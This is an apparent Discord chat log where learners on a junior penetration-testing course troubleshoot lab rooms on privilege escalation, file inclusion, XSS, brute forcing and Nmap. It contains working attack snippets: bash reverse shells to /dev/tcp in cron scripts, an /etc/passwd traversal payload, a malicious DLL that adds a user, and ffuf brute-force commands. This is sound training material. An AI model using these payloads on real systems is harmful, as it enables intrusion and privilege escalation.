junior-pentester-path

[shadow echo]

Well I do see a position added on the cookie there

Press clear on the right side and set the position correct again

[alpine wyvern]

Want me to request it again or.. ?

[shadow echo]

No you can just edit that request in the image above. So on the right side there is a clear button

[modest arch]

see the blue dot, add the prefix there.

[alpine wyvern]

I got it!!!

[viral token]

all I found is base64 as unusual

[shadow echo]

Why would you use sudo for that command, it already has the SUID bit set and will run as root

[viral token]

I tried without sudo first

but it says -sh: 5: ./base64: not found

[shadow echo]

Ye, because you are most likely not in the same directory as the base64 binary when running that command

[viral token]

oh!

thank you @shadow echo

[next lance]

Gave +1 Rep to @shadow echo

[viral token]

flag3.txt: Permission denied! do I need to create a root use to access flag3? @shadow echo

[shadow echo]

What's the command you used to read flag 3 ?

[viral token]

cat and less

[shadow echo]

Well, I mean you already have the base64 binary with SUID bit set, why don't you use that to read the flag?

[viral token]

oh, thats right!

thank you @shadow echo

[next lance]

Gave +1 Rep to @shadow echo

[viral token]

Linux Privilege Escalation: Cron Jobs

$ cat antivirus.sh
bash -i >& /dev/tcp/10.9.4.34/7777 0>&1

Could not getting response on my nc screen. What am I missing here?

[lunar citrus]

Protocols and Servers 2 : Task 5 scp
I have tried "scp <FILE> user:<IP>:<PATH>", but it said "no such a file or directory". Does this has something to do with my machine or the command I used? Thanks

[shadow echo]

I think you are missing the shebang, but not sure if that's the issue. So on top of the file try adding: #!/bin/bash

[viral token]

oh yes, I forgot to add shebang

[shadow echo]

Where are you running that command, on your machine or on the target machine?

[viral token]

shebang has been added, but, no luck

[lunar citrus]

I ran it from my kali

[shadow echo]

So the way you wrote to command, it's trying to upload the file to the remote system, so you have to do it the other way around. So specify the command in the way that it's downloading the file.

[lunar citrus]

Oh right, thank you @shadow echo. I'm having a look now

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

So in the crontab, what path is defined for the antivirus.sh ?

[viral token]

it was / and none

• • • • • root /antivirus.sh
• • • • • root antivirus.sh
• • • • • root /home/karen/backup.sh
• • • • • root /tmp/test.py

[shadow echo]

Okay and in which folder did you place the antivirus.sh?

[viral token]

/home/karen

[shadow echo]

Could you make a screen of the whole crontab in order for me to see the PATH variable in it

[viral token]

sure

[shadow echo]

Okay, so the task states: If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. So that means you should have a look at the PATH variable in the crontab and figure out what could be wrong with the directory you placed the file in.

Also make sure there is no other antivirus.sh file on the target machine by searching with find.

[viral token]

okay

couldn't make file on || /usr/bin or /usr/sbin || @shadow echo

[shadow echo]

Okay, well there are a few more paths in it, so either you try one of these, or try to use another script that's listed in the crontab

[viral token]

l tried to use || backup.sh || first but no luck

[shadow echo]

Why not?

[viral token]

||
$ cat /home/karen/backup.sh
#!/bin/bash
#cd /home/admin/1/2/3/Results
#zip -r /home/admin/download.zip ./*
bash -i >& /dev/tcp/10.9.4.34/6666 0>&1
||

|| $nc -nlvp 6666 ||

can't figure out why!

[shadow echo]

Are you on the attackbox or your own machine? Also I would try to get rid of these other stuff like #cd and #zip and keep an empty line after the shebang like it's shown in the task. (Not sure if that could cause an issue, but maybe.)

[viral token]

my machine

[modest arch]

@viral token can you print here output of ls -la /home/karen/backup.sh ? I think I know what the problem might be as I also had something similar (potentially) 😉

[viral token]

ok

Thank you @modest arch 🙂

[next lance]

Gave +1 Rep to @fluid stag

[modest arch]

can anyone explain me the whole nmap packet theory on dm??

[viral token]

Privilege Escalation: NFS
there is no gcc installed on target machine. Could anyone help me to find the script?

[modest arch]

you don't need to compile it on target machine. Use your local/attackbox

[viral token]

ok

it says mount: only root can use "--options" option. how can I mount the folder?

[modest arch]

Did you try to mount it from your machine/attackbox ? Check relevant config on the target VM, then use what you have found on your machine/attackbox to mount

[viral token]

ok

mount -o rw 10.10.0.235/home/backup /tmp/backupon
mount: /tmp/backupon: mount point does not exist.

[modest arch]

Man I had the same problem ahah, look closer at your command, it is missing something tiny. Also you need to create mount point if it doesn't exist on your machine (that is actually what error suggests). So two problems here

[viral token]

I notice there is a : missing

actually this whole mount thing is not clear to me, may be thats why I am beating the bush

[viral token]

$ showmount -e
Export list for ip-10-10-0-235:
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *

[modest arch]

The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.
That basically means that when you mount a remote share and create any files from your machine on that remote share with root account, that will be overwritten by nfsnobody unless no_root_squash option is set for that share. If it is set then that will allow to inherit ownership of the file created on your machine.

Ie. if you create file test.sh as root on the remote share from your machine and no_root_squash is NOT set then when you check ownership of that file on the remote machine(target) its owner will be nfsnobody .

Since no_root_squashfs is set (check appropriate config file for that on the target machine to make sure), then ||you can mount that share from your attack machine and upload binary which is owned by root and with SUID set||

[viral token]

thnaks a million @modest arch

thank you @modest arch

[next lance]

Gave +1 Rep to @fluid stag

[alpine wyvern]

Hey y'alls... question... for the J.P.T. Burp Suite Other Modules, for this, Decoder. For the last question that "Some joker has messed with my SSH key!........ " Do you copy the file into the Decoder and decode the file to MD5 hashsum? If so, none of the keys matched the hash in question. It sounds like it was altered ...

[viral token]

need some clue on Linux Privesc Capstone

[stoic swift]

Just starting out after passing sec+ what’s good

[viral token]

it was a match for me

[alpine wyvern]

So weird... it's showing as unmatched for the hash in question.

[viral token]

how do you try?

[alpine wyvern]

I took each key.. one by one... then hash it with MD5, then encode it with ASCII Hex

So, for the key, I just copy the key, paste it in the box of the decoder..

I can do it via the command line easy but it isn't giving the exact hash..

[viral token]

I just tried again, and its a match here

[alpine wyvern]

Like what I did in the screenshot?

[viral token]

I just open the key file and copied the text and past it in to the box

[alpine wyvern]

Oh, copy the contents inside it.

[viral token]

aye

[alpine wyvern]

Bingo... damn...

I was surprised that it could still take the path to the key.

I assumed that the txt file + the key inside it would have a bit differences... yet, i should have known to just try it.

[bronze zephyr]

How long is it supposed to take to find the passwords on the NetSec Challenge? Hydra has been trying for almost an hour.

nvm

[stoic hill]

Not able to understand the difference between the commands as both [nmap -sn TARGETS] and [nmap -PE TARGETS] scanning the live hosts using same ICMP only.

[calm swallow]

is there a reason why linprivesc room, task 7 --- neither methods work?

i can't save the modified buffer for /etc/passwd to add a user and I can't read or edit /etc/shadow

[brazen notch]

I'm on the network security section: protocols and servers... but I haven't done anything with hydra yet, does the path teach you hydra before you come to those challenges?

[brazen notch]

Where do you see something about the -PE flag?

[stoic hill]

Jr Penetration tester > Network security > Nmap live host discovery > Nmap Host Discovery Using ICMP

[brazen notch]

Anyone mind helping me out with Protocols and Servers POP3 question 2? It's asking a question for IMAP which is in the next section, but I'm unable to login when I telnet to the box on port 143.

I can connect on the IMAP port with telnet, but using the LOGIN frank password it gives me an error.

[brazen notch]

so, sudo nmap -PE target_ip just does a ping to see if target machine is alive, or what machines are alive / on if you are scanning a subnet.
and, sudo nmap -PE -sn target_ip also does a port scan on every machine in that subnet.

Ideally, you'd be better off enumerating what systems are alive before scanning ports as it is more noisy and time consuming.

if you do an nmap scan for an IP / subnet using the different flags you can easily see the output, but I'll post a screenshot here for you.

[stoic hill]

Really thanks for the output and finally solved!

[brazen notch]

Sure thing

[brazen notch]

nevermind, guess it teaches it in the module i'm on now. 😛

[bronze zephyr]

It does. There's a brief section on it. I was having a hard time because I forgot to add the port # on the end of the command.

[brazen notch]

I see, thanks for the hint. 😉 I'm starting the challenge now.

[next lance]

Gave +1 Rep to @bronze zephyr

[bronze zephyr]

You're welcome. Good luck!

[earnest shell]

I'm in burpsuite.... When I render.... It says embedded browser inizaliatation failed. Not sure what to do.... But that's where my flag should be. Burpsuite repeater task 6.pls help

Found the flag 🚩😎 no worries

[modest arch]

Question: for the capstone on the Linux PrivEsc room, is $PATH a viable option? (I ruled out a thing or two, and I know I have other options, but it seems to me like PATH is vulnerable because I can write to folders that are involved, but I can't get it to work. Not sure if I'm wrong that it's vulnerable or if I'm effing up the execution) https://tryhackme.com/room/linprivesc

(I looked at some writeup and none seem to be using PATH, but don't comment on ruling it out either)

[jade lodge]

any of the topics in that room are viable. i used linpeas/linenum to help me in the correct direction

[earnest shell]

I'm in Burpsuite repeater-Task7
I have to cause a 500 error but just getting a 404. I've tried extreme inputs

Lol please help me cause a 500 error

[jade lodge]

checking notes. but i think you can try all types of high /low, zero, non-zero, negative

this was before i took notes, but looking at the hint just try different input.

[earnest shell]

@jade lodge for example in replacing products/3 with products/999 but getting 404

[jade lodge]

you're trying to break a website/application. don't be nice. be extreme. 🙂

[earnest shell]

@jade lodge
https://media.tenor.com/images/d5b8c7b4d4876bd7b84a55ac1e8b2b37/tenor.gif

[jade lodge]

exactly. thow letters, symbols, a gazillion, negative numbers, decimals, fractions. see what sticks

[earnest shell]

I'm gonna type a destructive essay now

[earnest shell]

@jade lodge I wrote nuclear warcodes. But yet 404 is still there 💭😅

[remote sedge]

nvm, figured it out

[lyric sequoia]

in the xss room

the blind xss

i'm waiting for the connecting to my netcat

but nothing come up

when i click on the payload i receive my own cookies

[shadow echo]

Restart the target machine and try again, or try it on the attackbox if you haven't already or try using the request catcher. It's a bit buggy sometimes for the automation to trigger opening the ticket.

[lyric sequoia]

yeah, i solved it

[ocean socket]

If you get 404 it means that it can't find what you searched. You have to use "strange" characters to break the code. If you get 404 it means that the server can understand what you wrote

[shadow briar]

gentlemans

airodump-ng not showing any interfaces

i did exact in the youtube their showing mine not

[modest arch]

thanks!

[next lance]

Gave +1 Rep to @jade lodge

[earnest shell]

@ocean socket

I'm gonna make a txt file with the strangest and paste it in💭

[modest arch]

guys in inux privesc room task 5 i am not able to transfer the exploit to attacking machine ! i try that ython server and wget coomand but it displays permission denied how should i do that??

[shadow echo]

You most likely try to wget the file in a directory where you don't have write permission to.

[modest arch]

so how do i know in which directory i have permission??

[shadow echo]

Use find, also there is a very common directory where most likely you have write permission to.

[modest arch]

why it says permisiion denied when i run the ./exploit

[jade lodge]

does the binary have execute privs?

[modest arch]

i don't get it??

[jade lodge]

chmod +x

[modest arch]

tried that

@shadow echo got any idea mate??

[shadow echo]

Do a ls -al exploit and show the permissions pls.

[jade lodge]

if you have a problem running a binary, the things you want to check are 1) check perms to the file and directory? 2) ensure you can execute the file 3) ensure you can write to necessary directories if needed

[shadow echo]

And what if you do ./exploit now?

[modest arch]

permisiion denied

[shadow echo]

Have you tried it right now?

[modest arch]

yup

[jade lodge]

which user/dir are you in? can't see from the screens

[modest arch]

karen

[brazen notch]

This is where understanding the linux OS fundamentals come in handy. You should review tools such as touch, chmod, chown.

[modest arch]

i know those tools

[jade lodge]

cd to ~ or /tmp

[modest arch]

but what use of them here is??

[brazen notch]

do a whoami

[modest arch]

ok

[brazen notch]

and paste the output here

[modest arch]

$ whoami
karen

[jade lodge]

switch to /tmp and try again. and run the command with the full path /home/karen/exploit (or whatever)

[modest arch]

oghh got it

got the root

Thanks Guys all of you!!

[brazen notch]

it didn't seem like the application had execute flags

imo

to solve my own curiosity, can you go back into that directory and
chown karen:karen ./exploit
chmod +x ./exploit

then try to run it?

[modest arch]

ok

ohh dang i terminated the machine gonna start again

[brazen notch]

ah, no worries

was just curious, cause you should've had execute perms in that directory

[shadow echo]

Well the 2nd pictures DarthLotia sent had execute permissions and was owned by karen, so

[modest arch]

yeah u r right

it show work

it should

[brazen notch]

yeah, but my concern here is whether or not the file itself was an executable, that's why i wanted to test chmod +x ./exploit

probably doesn't make sense

[brazen notch]

Anyone able to give me any pointers for the final question of the Vulnerability Capstone room?
I've gone through all of the RCEs found when using searchsploit. I'm running into a bunch of errors, different errors for each one.

||specifically with /usr/share/exploitdb/exploits/linux/webapps/47138.py|| I'm only seeing the http header response on my nc listener

[jade lodge]

i had a number of issues with this room as well. I believe I had to make several modifications to the script just to get it to work properly

[brazen notch]

yeah.. i've had various issues with different ones.... even for the ruby script, i had to install httpclient and docopt gems, and even after that there was still errors when running the script.

[jade lodge]

PM me and i'll give it a look

[brazen notch]

thanks for the help

[next lance]

Gave +1 Rep to @jade lodge

[brazen notch]

Okiee. I'm trying to mess around more with https://tryhackme.com/room/metasploitexploitation task 5. The hint provides a vulnerability, but based on the initial challenge, it would appear there are more than one vulnerability... I've been trying to find at least one other one for like 2.5 hours now and I've had no luck. Is anyone around to kinda nudge me in the right direction?

I've discovered 5 uncommon ports in the 49000's, all service detection done on those ports only indicate msrpc services and I haven't been able to find any vulnerability for msrpc that is valid here.

[robust steeple]

You’ll have to excuse me as it’s been a while since of done the room. Don’t you just follow along with the task?

[jovial whale]

Hello all, I'm stuck in the Jr. Pen testing room on the Authentication Bypass, task 3. I can't get the ffuf to work correctly to get the password. Any tips?

[brazen notch]

This is for the challenges, and in the task it states to use one of the critical vulnerabilities which makes it seem like there's more than just eternalblue which is given to you in the hint.

[brazen notch]

what is your command that you're using?

[foggy sleet]

In Jr Penetration Tester Path - File Inclusion - Local File Inclusion - LFI # 2 - Question: Give Lab # 3 a try to read /etc/passwd. What is the request look like? I am trying to submit my answer but it won’t let me submit

[brazen notch]

Can you provide your current answer with a spoiler? I can take a look and point you in the right direction.

[foggy sleet]

/lab3.php?file=../../../../etc/passwd%00 I’m in the app can’t post with spoiler

[brazen notch]

so if you put that next do the rest of the url, what's it look like.

[foggy sleet]

It showed me the passwd file

[brazen notch]

oh you edited it

[foggy sleet]

It is good I can see the file

[brazen notch]

yeah, that looks correct. it's what i have

[foggy sleet]

It’s just I cannot submit the answer

Strange

[brazen notch]

try logging out of thm, logging back in?

[foggy sleet]

I tried that already

[brazen notch]

clear cache in browser?

[foggy sleet]

One sec..

It still won’t work 😦 I cannot close this room to 100%

[jade lodge]

does it says incorrect answer, or unknown error?

[foggy sleet]

Neither

Hey I tried logging in THM through a different browser

Now it submitted

[jade lodge]

i had issues with bitdefender in a few rooms, espeically sql injection. it would sanitize my answer before submitting so i got something like "invalid response" instead of "incorrect"

[foggy sleet]

Thanks for the heads up. What I had is as if the submit button won’t work if my answer character is beyond ‘n’ characters. All good now tried logging in using Edge browser and it worked

[next lance]

Gave +1 Rep to @jade lodge

[little saddle]

Hi Team
I could not find Flags after clicking on the website link provided
Room : Walking An Application - Jr. Penetration Tester
Viewing the page source I could not find the answers to the questions
please help me on this

[little saddle]

its bit tough . However I found answers

[slender pivot]

Anyone completed Task 9 on LinEsc?

Can't seem to get the job to fire off the reverse shell...

[shadow echo]

What room?

[slender pivot]

Linux PrivEsc

I've ||modified the backup.sh to include a reverse shell "bash -i >& /dev/tcp/IPHERE/PORTHERE 0>&1", set up a nc listener on the attack box|| but not getting anything

[shadow echo]

Could you do a ls -al backup.sh and show it to me?

[slender pivot]

||-rw-r--r-- 1 karen karen 77 Jun 20 10:21 backup.sh||

oh

I see

thanks for the tip 🙂

[desert trout]

Hey anyone can help me

[brazen notch]

with what

[desert trout]

I'm stuck on the last authentification Bypass question>logic flaw

I'm stuck on the last question authentification Bypass question>logic flaw

[shadow echo]

And what are you stuck with, the commands to use are all in the task?

[desert trout]

The commands

The last one

[shadow echo]

So have you created an account on the page?

[desert trout]

Yes i think so

[shadow echo]

Okay, so I don't understand what the issue is then?

[jovial whale]

Hi Thelius, thanks for repsonding. This is the command I'm using: ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

[next lance]

Gave +1 Rep to @brazen notch

[shadow echo]

If you do cat valid_usernames.txt what's the output?

[jovial whale]

@shadow echo I get 4 user names: admin, simon, roger, and steve I believe

[shadow echo]

Show me the full output of that file pls

[jovial whale]

sure let get back in there. This is day 4 I've been trying.

[jovial whale]

It will be a few minutes since I'm starting the attack box

[shadow echo]

Sure not a problem

[jovial whale]

sorry I'm new to discord and not sure how to share the snipit

[shadow echo]

You have to verify in order to send screens. Check that link:

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[jovial whale]

thanks for your help on getting me verified

[shadow echo]

So regarding to that screen, can you see for yourself what the problem could be :)?

[jovial whale]

hmmm...no. The file name is the same what it told me to name it. Is it because the info in the brackets are the same?

[shadow echo]

Lets go by the first line. ffuf will try the username admin [Status: 200, Size: ..... (not gonna write the full text) instead of just admin

[jovial whale]

So I guess my problem I don't understand the output.

[jovial whale]

what does it mean the admin has the same info as the same accounts? Is it they have the same passwords?

[shadow echo]

So the problem is, the wordlist is supposed to only have 1 username per line without anything else, so no status code, no size, nothing. Only 1 username per line.

So just create a new wordlist and write the usernames manually in it.

[jovial whale]

Oh...

Ok I will do that. Do you know why it prints out with the other stuff?

[shadow echo]

Well ffuf is not a wordlist generator, so it prints the infos that might be useful.

[jovial whale]

got it. I need to do more research on ffuf. I need to fix my doc and I'll let you know how it turns out when I run the next command.

thank you!

[brazen notch]

thanks for helping him out, i got caught up with work.

[next lance]

Gave +1 Rep to @shadow echo

[modest arch]

Hey could someone give me a hint about File Inclusion room, task 8: "Capture Flag3 at /etc/flag3" ? I'm really stuck

[shadow echo]

Well it depends on how far you already. Or what you have tried.

[modest arch]

Apparently there is a whitelist filter in place that only allows a-z characters. I researched about $_request just like the thm tip suggested, but I didn't find anything and I don't know how they found out about $_request

[shadow echo]

There is a task in that room that explains how to try to bypass a filter.

[modest arch]

Ok i will review the tasks, thanks

[next lance]

Gave +1 Rep to @shadow echo

[modest arch]

@shadow echo okay i got the flag by lucky, using POST http requests and a null byte, but i don't understand why the filter only works in GET requests, could you please explain it?

[shadow echo]

What you mean? If you don't use the null byte in a POST request then the filter will still work ?

[modest arch]

No, it filters the all dots, slashes, and special characters but just when it's a GET request

[shadow echo]

I don't think so, if you remove the null byte in the POST request it will also filter the special characters.

[shadow echo]

Mh k, seems you are right, tried it right now. Maybe in that case the filter only applies when they use $_GET["name"] function in PHP, for example htmlspecialchars($_GET["name"]) but not when using $_POST["name"] function. But, you anyways have to use the null byte otherwise the .php will get appended on your filename.

[modest arch]

Oh i see, thanks, i was with this doubt in my head

[next lance]

Gave +1 Rep to @shadow echo

[earnest shell]

Just want to say thanks for all the help so far. I'm like at 80 percent 😅 I'm trying to get through

[oak shard]

@heavy night , @primal whale , Is there a problem with Task 8, Cross-Site Scripting room ? After decoding the cookie and the session . When submitting the decoded cookie . I get wrong answer .

[modest arch]

Just wanted to say, that his one is outstanding course. Well structured, full of actual and helpful information.

[lyric sequoia]

.

[shadow echo]

I don't think you should tag staff for a room question that's most likely caused because you did the task wrong, but that's not for me to decide, just saying 🙂 I highly assume the cookie is wrong because you opened the ticket on your own and therefore you received your own session cookie rather then the staff session cookie.

[oak shard]

cool, thanks

[next lance]

Gave +1 Rep to @shadow echo

[vital lake]

netsec nmap challange any hint im using those flags ||--scanflag SYN --version-intensity 0 --max-retries 0 -T2 -f 0 -Pn|| so tired of it doing it for days literally

[shadow echo]

You are over complicating it, just try all the different standard scans that have different tcp flag settings. There are like 3 or 4 different scans that do that.

[vital lake]

ok thanks i will try

[alpine wyvern]

I feel like an idiot and not understanding what it's asking... For the Nmap Live Host Discovery for the J.P.T. Task 7. Does this have to be in the exact order and does this needs to be in the form of a syntax or just the options alone in any order?

I have been at this for over a damn hour...

For both the privilege and non privilege.

I was able to answer the 3rd one easy.

[shadow echo]

It has to be the name of that scan, it's the same as the headings in that task. For example the last heading in that task is "Masscan"

[alpine wyvern]

From the looks of it, it has to be 3 + 3 + 4 (number of characters each). I tried everything. LOL No bueno for me.

The 3rd one was easy.

[shadow echo]

Well I gave you the path on where to look for it. Search the heading "Masscan" to know what I refer as "heading in that task" to.

[alpine wyvern]

Unfortunately, that doesn't even help.

[shadow echo]

Well there are not too many headings in that task. It's exactly 4 headings, so 😄

[alpine wyvern]

I see that but no need to insult....

[shadow echo]

Insult oO? Where do you see any kind of insult?

[alpine wyvern]

When you laugh, but you won't do that in front of me. As stated over a week ago, there are people that look at things the hard way.

I'm just trying to learn here...

No matter how easy it may seem to you.

[shadow echo]

I don't get what you are talking about, I try to help you, as I'm doing that on a volunteer basis and that's what I get from you? Especially after helping you in a DM for about 30 - 45 mins last time? I'm done talking with you.

[drifting drum]

Nobody is laughing at you. You were given a hint that basically gives away the answer. You said that dosent help, so there isn't much else anyone can do for you

[alpine wyvern]

Umm.. I did offer you compensation for your time and offered to return some as a favor and thank you. And you knew I have a difficulty in advance. But went on to laugh... @drifting drum Yeah, I just couldn't grasp, as Fontaene knew I had some difficulties last time, figure it was known. I often times look at things the hard way... but hey if i don't get it, I don't get it. It's what it is.

[next lance]

Gave +1 Rep to @shadow echo

[alpine wyvern]

No offense y'alls.

Peace...

It's just my fault, i'll deal with it and figure it out.

Regarding volunteering, I have done over 5000 hrs since early 2000 in the Computer Engineering/IT department coming from South America and far East to help be part of the technology world. But 30 or so percentage just quit... I like giving back hence why I offered compensation. But I do have some difficulties... the one thing I do not do is laugh at others and be sympathetic in helping others. I have a lot of challenges that I have to overcome. But thanks for that 30-45 min DM help.... I'll figure out the nmap questions...

FYI, I was able to answer the questions... but that hint didn't offer any logical ideas. At least for me.

[toxic wedge]

Lets stop escalating and take the stairs for a minute.

Just read through this, And it looks like Fontaene game you a major hint and you focused a lot on the emoji at the end. Be assured, @alpine wyvern the no-one here laughs at anyone because of their skills - This is a learning site after all - We tend to respect peoples willingness to learn. In addition, This isn't a 'Hacker for hire' site, nor does anyone here help for compensation - We do it because we want to see you (and everyone else) succeed. Our 'Compensation' is the feeling we get when someone we helped pops up asking us to add a cert role to them or that they got a job in the industry.

Either way, peace and love on here - We are all in more-or-less the same boat. We wanna learn

Also @shadow echo Gratz on Blue role. Blue = Best role colour 😄

[alpine wyvern]

Never thought it was a "hacker for hire" but more of the time since fontaene was up late at night. I'm just a giver and wanted to return the favor because fontaene didn't need to do it. 🙂 Peace and love here at all. Thank you for your reply. No disrespect to anyone.

[next lance]

Gave +1 Rep to @toxic wedge

[upbeat arch]

Can anyone please tell me how did you answer this quesiton.

"Some joker has messed with my SSH key! There are four keys in the directory, and I have no idea which is the real one. The MD5 hashsum for my key is 3166226048d6ad776370dc105d40d9f8 -- could you find it for me?"

Submit the correct key name as your answer.

[gentle geyser]

try each one in succession

from the downloaded key file

[stoic hill]

nmap -e NET_INTERFACE -Pn -S SPOOFED_IP MACHINE_IP to tell Nmap explicitly which network interface to use and not to expect to receive a ping reply. I am not able to understand purpose of -Pn.

[gentle geyser]

is it this?@stoic hill
Don’t Ping nmap -PN [target] nmap -PN 192.168.0.1

I believe it is so you leave no record of trying to connect to the target machine

[autumn fossil]

I've got a problem with the last Task in the Cross-site Scripting room where I am supposed to get the staff-session cookie. I used the given payload and edited it. I tried both given options but I never get the expected request. At the TryHackMe request catcher all I can see is a DNS-Lookup and with Netcat I don't get any feedback. Anyone can help me or has some idea what I'm doing wrong?

[drifting drum]

there are 2 ways to do this. Either try all 4 keys, or downlaod them and then use md5sum <file_name> to grab the md5 sum of each file and see which matches the hash given to you

[stoic hill]

May be you are right.

[drifting drum]

-Pn has more uses than that. Sometime firewalls block ICMP packets, and sometimes you need to scan over a pivot which is most cases means you can't send ICMP packets to the target

[prime shadow]

I have a question about the file inclusion module, challenge# 3. I dont understand why this answer is correct, can someone explain?

[regal rock]

Am trying to transfer files to a machine, <linux PrivEscalation> kernel exploits room, but seems wget, curl and even nc not working. nc is only trasferring the file but no content, please someone assist

[drifting drum]

Wget should work

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[drifting drum]

Follow the instructions at the above link to verify your discord account. Then please send a screenshot of the issue you're having

[regal rock]

Okay, thank you

[next lance]

Gave +1 Rep to @drifting drum

[regal rock]

Its able to connect back but taking forever to transfer the file

[shadow echo]

Is the file you want to transfer located on the attackbox (not target machine) or on your own machine?

[regal rock]

On my local machine

[shadow echo]

So did you manage to transfer it now?

[regal rock]

No, same issue.. it only connecting to the http server, but transfer rate remains zero, have tried restating VPN but still the same,

Any suggestion on alternative way to transfer?

[shadow echo]

Is your local machine a virtual machine or an installed operating system?

[regal rock]

A virtual machine

[shadow echo]

And openvpn is running directly inside that VM and not on your host machine?

[regal rock]

Yes, on the VM i did counter check. done a restart too.haha

[shadow echo]

If you enter ifconfig do you only see a tun0 interface or any extra like tun1, tun2 etc?

[regal rock]

at once i did see tun1, but tunned off the interface, then recconnected back, so "ifconfig" has only tun0

[shadow echo]

Okay, so if you right now only have tun0 then it's fine. I assume you are hosting the file with the python webserver ?

[regal rock]

How can i change the VPN profile to a new one?

[regal rock]

Yea, am using python webserver

[shadow echo]

Let's first try something else before you jump to using a new vpn config/profile

Try sudo ifconfig tun0 mtu 1200 then maybe restart the python server and try again to wget the file.

[regal rock]

cool, let me do it

Thank you so much, that has worked, so how was the mtu an issue?

[shadow echo]

Maybe your internet connection is not the best.

[lusty helm]

can anybody help me out with the task 4 of the File Inclusion page? I've typed in a random page and got the error message and I'm unsure of where to go from there

[shadow echo]

What you mean with you typed in a random page? The page you have to do that task on is specified, it's #Lab 1

[regal rock]

ohh okay

[lusty helm]

I think I've been going about this the wrong way I though lab#2 was for the second question

[shadow echo]

And yes, lab 2 is for the second question. So you are stuck on question 2?

[lusty helm]

Yeah sorry I should've been more specific from the start, it's the one asking what is the directory specified in the include function

[shadow echo]

Okay, so can you send a screenshot of the errors/warnings you got on the page itself?

[lusty helm]

OK dokie gimme a couple min to boot back in

[shadow echo]

Okay, so if you compare the warning include(includes/hello.php) with the following task explanation. What is the directory that is specified to be used in the include function?

[lusty helm]

(include_path='.:/usr/lib/php5.2/lib/php)

so does this part have to used as a launch pad to then move onto the file I want to see?

[shadow echo]

I don't know what that part is for exactly, so just ignore it for now.

[lusty helm]

ok I got the answer but I'm none the wiser

[shadow echo]

Why not, what's the part you don't understand?

[lusty helm]

I think I'm over thinking this cheers for the help anyway

[shadow echo]

Alright, not a problem.

[modest arch]

Yo why is the flag not working on Blind SQLi - Authentication Bypass

Oh nvm it’s on the next page, weird UX, false alarm

[copper crater]

Hello, room metasploit:exploitation task5 question3 I already got access to machine with eternal blue but I can not get the hashes it gives me this error whats wrong can anyone help me?

[shadow echo]

What type of shell do you have? If you don't already have that, try to upgrade your actual shell to a meterpreter shell

[copper crater]

I tried couple times and I got an errors let me try again If Im not missing anything and got error again I can send there

now I got error from eternal blue.. maybe skipping this part better for now 😄

[sacred orbit]

Hey there, trying to get a combination of a username and a password by bruteforcing but the command doesn't seem to show answers. I've also tried to put it in a file but it didn't work. does anybody know what the matter is?

[shadow echo]

Check your valid usernames file, most likely you don't have 1 username per line (without anything else, no status code, no size, nothing)

[sacred orbit]

yes, that was the problem

[sacred orbit]

thanks a lot!

[next lance]

Gave +1 Rep to @shadow echo

[copper crater]

it worked now thanks!

[next lance]

Gave +1 Rep to @shadow echo

[jovial whale]

Hello all, can someone give feedback of what I may be doing wrong? This is in Authentication Bypass, task 3 (Brute force). I fixed the output of usernames to have only the names on each line and deleted all other output. I still can not get the password to print out...this is day 5 for me..😩

[nimble adder]

I had the same problem, the cmd on the site does not work I think. I got it to work by running the wordlist on one username at a time. If you look at the lenght of the answer you can narrow it down to 2 usernames if I remember right!

[ocean socket]

There is a issue with W1 / W2 if I remember correctly you have to use a blank space instead of the , (comma)

f.e: -w username_file -w password_file

[shadow echo]

The issue most likely is within your valid_usernames file. It's supposed to have only 1 username per line without anything else, so not status code, no size, nothing. Just the usernames.

[lyric sequoia]

sup folks

i'm having troubles with windows privesc room

the dll hijacking is ain't working

any1 remember the room or did it recently

need some help ova here

[shadow echo]

How is your code for the dll file looking like?

[lyric sequoia]

nvm i solved it

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net user jack Passowrd123");
        ExitProcess(0);
    }
    return TRUE;
}

        ```

[shy wasp]

i had problem with section Protocols and Servers 2 on task 5.
i cant download file book.txt. pls help.

(kali㉿kali)-[~/Desktop]
└─$ scp book.txt mark@10.10.212.60:/home/mark
mark@10.10.212.60's password:
book.txt: No such file or directory

[shadow echo]

You are doing the scp the wrong way around. The way you used the command is for transfering files from your local machine to the target machine.

[shy wasp]

scp mark@10.10.212.60:/home/mark/book.txt ~ 1 ⨯
mark@10.10.212.60's password:
book.txt 100% 415KB 91.6KB/s 00:04

okay,i see

[desert trout]

Hello team

I have project concerning SNMP ENUMERATION SOMEONE COULD HELP ME

[alpine wyvern]

Elaborate the concerns....

[drifting drum]

https://dontasktoask.com/

[night kraken]

Does anyone also have problems opening the Windows Privesc machine? For some reason the machine just want load. I have tried multiple restarts . I wish they would have provided RDP credentials.

Did you mange to solve that issue? @fickle pumice

[modest arch]

guys let me know if you where able to escalate privileges : PATH, if you where able please share the binary contents with me. I wasn't able but I took the flag like this.

#! /bin/bash
cat /home/matt/flag6.txt

[modest arch]

the room is this one https://tryhackme.com/room/linprivesc

[shadow echo]

Are you talking about task 10 ?

[gentle geyser]

can someone tell me the telnet command to read a file over telnet?

I've been googling all morning to no avail 😅

I can read it over ftp, just not telnet yet

[modest arch]

yes

[shadow echo]

Well instead of using the cat command you just have to use /bin/bash

[modest arch]

on the CLI you can use:

man telnet
telnet -h

https://tryhackme.com/room/activerecon

I suggest you take a break and come and try again fresh forcing your self on something you already have been trying "all morning" will result in burnout, feeling overwhelmed, and depending on your emotional intelligence you might get moody.

[modest arch]

sometimes the shortest way to learn and articulate concepts seems at simple sight the longest but in reality it is the shortest long-term, you can save yourself a lot of "revisiting" time.

[modest arch]

$ id   
uid=1001(karen) gid=1001(karen) groups=1001(karen)
$ export PATH=/tmp:$PATH
